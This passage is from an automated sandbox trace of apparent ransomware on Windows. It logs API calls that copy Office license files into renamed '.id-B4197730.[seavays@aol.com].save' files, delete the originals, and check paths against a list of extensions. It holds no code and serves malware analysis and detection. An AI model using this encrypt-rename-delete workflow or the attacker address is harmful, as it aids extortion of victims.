lpOverlapped=0x0) returned 1 [0194.068] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0194.069] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.069] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0194.069] SetEndOfFile (hFile=0x528) returned 1 [0194.070] CloseHandle (hObject=0x528) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.070] SetEndOfFile (hFile=0x51c) returned 1 [0194.074] CloseHandle (hObject=0x51c) returned 1 [0194.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1 [0194.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0194.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0194.076] lstrlenW (lpString=".doc") returned 4 [0194.077] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString=".docx") returned 5 [0194.077] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.077] lstrlenW (lpString=".pdf") returned 4 [0194.077] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString=".xls") returned 4 [0194.077] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString=".xlsx") returned 5 [0194.077] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.077] lstrlenW (lpString=".ppt") returned 4 [0194.077] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0194.077] lstrlenW (lpString=".zip") returned 4 [0194.077] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString=".rar") returned 4 [0194.077] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString=".bz2") returned 4 [0194.077] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString=".7z") returned 3 [0194.077] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0194.077] lstrlenW (lpString=".dbf") returned 4 [0194.077] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0194.077] lstrlenW (lpString=".1cd") returned 4 [0194.077] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0194.078] lstrlenW (lpString=".jpg") returned 4 [0194.078] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.079] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11591) returned 1 [0194.079] CloseHandle (hObject=0x51c) returned 1 [0194.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220 [0194.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.080] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.080] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0194.081] GetLastError () returned 0x0 [0194.082] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d47, lpOverlapped=0x0) returned 1 [0194.083] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0194.085] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.085] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10c, lpOverlapped=0x0) returned 1 [0194.086] SetEndOfFile (hFile=0x528) returned 1 [0194.086] CloseHandle (hObject=0x528) returned 1 [0194.086] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.086] SetEndOfFile (hFile=0x51c) returned 1 [0194.090] CloseHandle (hObject=0x51c) returned 1 [0194.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0194.092] lstrlenW (lpString=".doc") returned 4 [0194.092] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString=".docx") returned 5 [0194.092] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.092] lstrlenW (lpString=".pdf") returned 4 [0194.092] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString=".xls") returned 4 [0194.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString=".xlsx") returned 5 [0194.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.092] lstrlenW (lpString=".ppt") returned 4 [0194.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0194.092] lstrlenW (lpString=".zip") returned 4 [0194.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString=".rar") returned 4 [0194.092] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString=".bz2") returned 4 [0194.092] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.092] lstrlenW (lpString=".7z") returned 3 [0194.092] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0194.093] lstrlenW (lpString=".dbf") returned 4 [0194.093] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0194.093] lstrlenW (lpString=".1cd") returned 4 [0194.093] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0194.093] lstrlenW (lpString=".jpg") returned 4 [0194.093] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.094] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11151) returned 1 [0194.094] CloseHandle (hObject=0x51c) returned 1 [0194.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220 [0194.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.095] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.095] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0194.096] GetLastError () returned 0x0 [0194.096] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0194.265] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0194.267] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.267] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0194.267] SetEndOfFile (hFile=0x528) returned 1 [0194.709] CloseHandle (hObject=0x528) returned 1 [0194.709] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.710] SetEndOfFile (hFile=0x51c) returned 1 [0194.715] CloseHandle (hObject=0x51c) returned 1 [0194.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1 [0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0194.721] lstrlenW (lpString=".doc") returned 4 [0194.721] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.721] lstrlenW (lpString=".docx") returned 5 [0194.721] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.721] lstrlenW (lpString=".pdf") returned 4 [0194.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.721] lstrlenW (lpString=".xls") returned 4 [0194.721] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.721] lstrlenW (lpString=".xlsx") returned 5 [0194.721] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.721] lstrlenW (lpString=".ppt") returned 4 [0194.721] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0194.722] lstrlenW (lpString=".zip") returned 4 [0194.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.722] lstrlenW (lpString=".rar") returned 4 [0194.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.722] lstrlenW (lpString=".bz2") returned 4 [0194.722] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.722] lstrlenW (lpString=".7z") returned 3 [0194.722] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0194.722] lstrlenW (lpString=".dbf") returned 4 [0194.722] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0194.722] lstrlenW (lpString=".1cd") returned 4 [0194.722] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0194.722] lstrlenW (lpString=".jpg") returned 4 [0194.722] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.723] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11151) returned 1 [0194.723] CloseHandle (hObject=0x51c) returned 1 [0194.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220 [0194.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.725] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.725] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0194.728] GetLastError () returned 0x0 [0194.728] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0194.730] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0194.731] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.731] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0194.731] SetEndOfFile (hFile=0x528) returned 1 [0194.731] CloseHandle (hObject=0x528) returned 1 [0194.732] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.732] SetEndOfFile (hFile=0x51c) returned 1 [0194.734] CloseHandle (hObject=0x51c) returned 1 [0194.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1 [0194.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0194.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0194.736] lstrlenW (lpString=".doc") returned 4 [0194.736] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.736] lstrlenW (lpString=".docx") returned 5 [0194.736] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.736] lstrlenW (lpString=".pdf") returned 4 [0194.736] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.736] lstrlenW (lpString=".xls") returned 4 [0194.736] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.736] lstrlenW (lpString=".xlsx") returned 5 [0194.736] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.736] lstrlenW (lpString=".ppt") returned 4 [0194.736] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0194.737] lstrlenW (lpString=".zip") returned 4 [0194.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.737] lstrlenW (lpString=".rar") returned 4 [0194.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.737] lstrlenW (lpString=".bz2") returned 4 [0194.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.737] lstrlenW (lpString=".7z") returned 3 [0194.737] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0194.737] lstrlenW (lpString=".dbf") returned 4 [0194.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0194.737] lstrlenW (lpString=".1cd") returned 4 [0194.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0194.737] lstrlenW (lpString=".jpg") returned 4 [0194.737] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.738] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=26525) returned 1 [0194.738] CloseHandle (hObject=0x51c) returned 1 [0194.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220 [0194.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.739] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.739] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0194.740] GetLastError () returned 0x0 [0194.740] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x679d, lpOverlapped=0x0) returned 1 [0194.743] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x67a0, lpOverlapped=0x0) returned 1 [0194.745] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.745] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x108, lpOverlapped=0x0) returned 1 [0194.745] SetEndOfFile (hFile=0x528) returned 1 [0194.745] CloseHandle (hObject=0x528) returned 1 [0194.745] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.745] SetEndOfFile (hFile=0x51c) returned 1 [0195.257] CloseHandle (hObject=0x51c) returned 1 [0195.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1 [0195.539] lstrlenW (lpString="C:\\Program Files\\Microsoft 